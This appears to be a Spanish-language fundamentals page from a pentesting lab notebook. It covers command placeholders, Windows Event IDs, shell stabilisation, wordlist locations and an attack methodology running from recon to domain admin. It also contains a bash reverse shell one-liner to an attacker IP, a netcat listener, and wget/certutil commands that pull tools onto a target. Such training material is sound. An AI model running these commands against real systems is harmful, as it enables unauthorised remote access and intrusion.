Volver al laboratorio ~/iphobiuss/fundamentos
Fundamentos
Cómo usar esta base, interpretar resultados y adaptar sus ejemplos. Ir al glosario.
Sobre la detección y los Event IDs
Los Event IDs que aparecen en cada técnica (4662, 4769, 5140, 5136, etc.) son los técnicamente asociados a la actividad, no una garantía de que queden registrados: dependen de que las políticas de auditoría correspondientes estén habilitadas en el entorno. Trátalos como "dónde mirar si hay auditoría", no como "esto siempre deja rastro".Los placeholders y qué reemplazar
Los marcadores $IP, $TARGET, $DC_IP, $DOMAIN, $USER, $PASS, $VICTIM y los valores entre <...> se deben reemplazar por valores del laboratorio antes de ejecutar. El sitio no asigna esos valores. Revisa también nombres de archivo y rutas; los ejemplos no se ejecutan sin adaptación.
$IP / $TARGET # IP o FQDN del objetivo
$DC_IP # IP del Domain Controller
$DOMAIN # dominio, ej. corp.local
$USER / $PASS # credenciales autorizadas para el laboratorio
$VICTIM # cuenta/objeto dentro del alcance
<NT_HASH> # hash NT para pass-the-hash
<USUARIO_WINDOWS> # nombre que reemplazas en los ejemplos de cmd.exeSi prefieres asignar variables en Bash, las comillas dobles permiten expandirlas y conservan los espacios; las simples envían el texto literalmente. No confundas esos marcadores con variables propias de un programa: $_GET/$_REQUEST pertenecen a PHP, $sec a PowerShell y DATA al bucle Bash que construye una petición. Identifica la consola y adapta las comillas de cada nivel (consola, SQL, PHP, JSON). En cmd.exe no se expanden variables de Bash.
Las líneas con ... son esquemas abreviados: completa los argumentos que falten antes de ejecutarlas. Un payload escrito para un formulario, JSON o JavaScript no es una orden de terminal. Los bloques que alternan comandos de Kali y del host Windows se ejecutan en sus consolas correspondientes.
Listener y reverse shell
Muchas explotaciones que consiguen ejecución de comandos terminan devolviendo una shell interactiva. Levanta un listener antes de disparar el payload:rlwrap nc -nlvp 4444 # escucha en el puerto 4444
# payload típico en el objetivo (bash):
bash -i >& /dev/tcp/$IP/4444 0>&1Estabilizar la TTY
Una reverse shell cruda no maneja Ctrl-C, autocompletado ni editores. Se estabiliza así:python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z, luego en tu terminal:
stty raw -echo; fg
export TERM=xtermTransferir archivos al objetivo
Para subir herramientas (LinPEAS, binarios, etc.) levantas un servidor y descargas del otro lado:# en el atacante:
python3 -m http.server 8000
# en el objetivo (Linux / Windows):
wget http://$IP:8000/linpeas.sh
certutil -urlcache -f http://$IP:8000/nc.exe nc.exeDónde están las wordlists
La mayoría vienen en la instalación estándar de Kali/Parrot, aunque según la versión y los metapaquetes alguna puede requerir instalarse aparte. Las más usadas:/usr/share/wordlists/rockyou.txt # contraseñas
/usr/share/seclists/Discovery/Web-Content # rutas web (SecLists)
/usr/share/seclists/Usernames # usuariosMetodología
El proceso es iterativo: una nueva credencial o superficie puede devolverte a la enumeración.
- Recon: descubrir hosts, puertos, servicios y dominios
- Acceso inicial: primer foothold (web, share, credencial filtrada)
- Escalada local: de usuario a root / SYSTEM en el host
- Movimiento lateral: saltar a otros hosts con lo recolectado
- Escalada de dominio: de un usuario cualquiera a Domain Admin
- Impacto / post-explotación: validar alcance, acceso a datos y consecuencias del compromiso